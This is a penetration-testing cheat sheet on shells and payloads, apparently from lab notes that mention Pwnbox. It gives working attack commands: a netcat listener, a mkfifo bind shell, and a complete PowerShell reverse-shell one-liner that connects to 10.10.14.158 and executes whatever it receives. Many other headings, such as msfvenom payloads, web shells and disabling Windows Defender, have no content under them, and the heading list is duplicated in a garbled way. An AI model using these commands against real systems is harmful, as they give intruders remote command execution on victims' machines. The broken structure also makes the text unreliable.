Shells and Payloads
envStart netcat listener on a specified port
sudo nc -lvnp <port #>Connect to a netcat listener
nc -nv <ip_address> <port>Bind shell using netcat
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 10.129.41.200 7777 > /tmp/fPowerShell Reverse Shell
### PowerShell one-liner used to connect back to a listener
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"Reverse Shell Upgrades
Python Shell Upgrade
python -c 'import pty; pty.spawn("/bin/bash")'Full TTY Upgrade
stty raw -echo; fg
reset
xtermSocat Reverse Shell
Socat Listener
Disable Windows Defender Real-Time Monitoring
Payload Generation with MSFvenom
Linux Reverse Shell Payload
Windows Reverse Shell Payload
MacOS Reverse Shell Payload
ASP Web Shell Payload
JSP Web Shell Payload
WAR Web Shell Payload
Shell Spawning Techniques
Python Interactive Shell
Basic Linux Shell
Perl Interactive Shell
Ruby Interactive Shell
Lua Interactive Shell
Awk Shell
Find Command for Shell Spawning
Vim Shell Escape
Start netcat listener on a specified port
Connect to a netcat listener
Bind shell using netcat
PowerShell Reverse Shell
Reverse Shell Upgrades
Python Shell Upgrade
Full TTY Upgrade
Socat Reverse Shell
Socat Listener
Disable Windows Defender Real-Time Monitoring
Payload Generation with MSFvenom
Linux Reverse Shell Payload
Windows Reverse Shell Payload
MacOS Reverse Shell Payload
ASP Web Shell Payload
JSP Web Shell Payload
WAR Web Shell Payload
Shell Spawning Techniques
Python Interactive Shell
Basic Linux Shell
Perl Interactive Shell
Ruby Interactive Shell
Lua Interactive Shell
Awk Shell
Find Command for Shell Spawning
Vim Shell Escape
Web Shell Locations
Laudanum Webshells on ParrotOS and Pwnbox
Antak Webshell on ParrotOS and Pwnbox
Last updated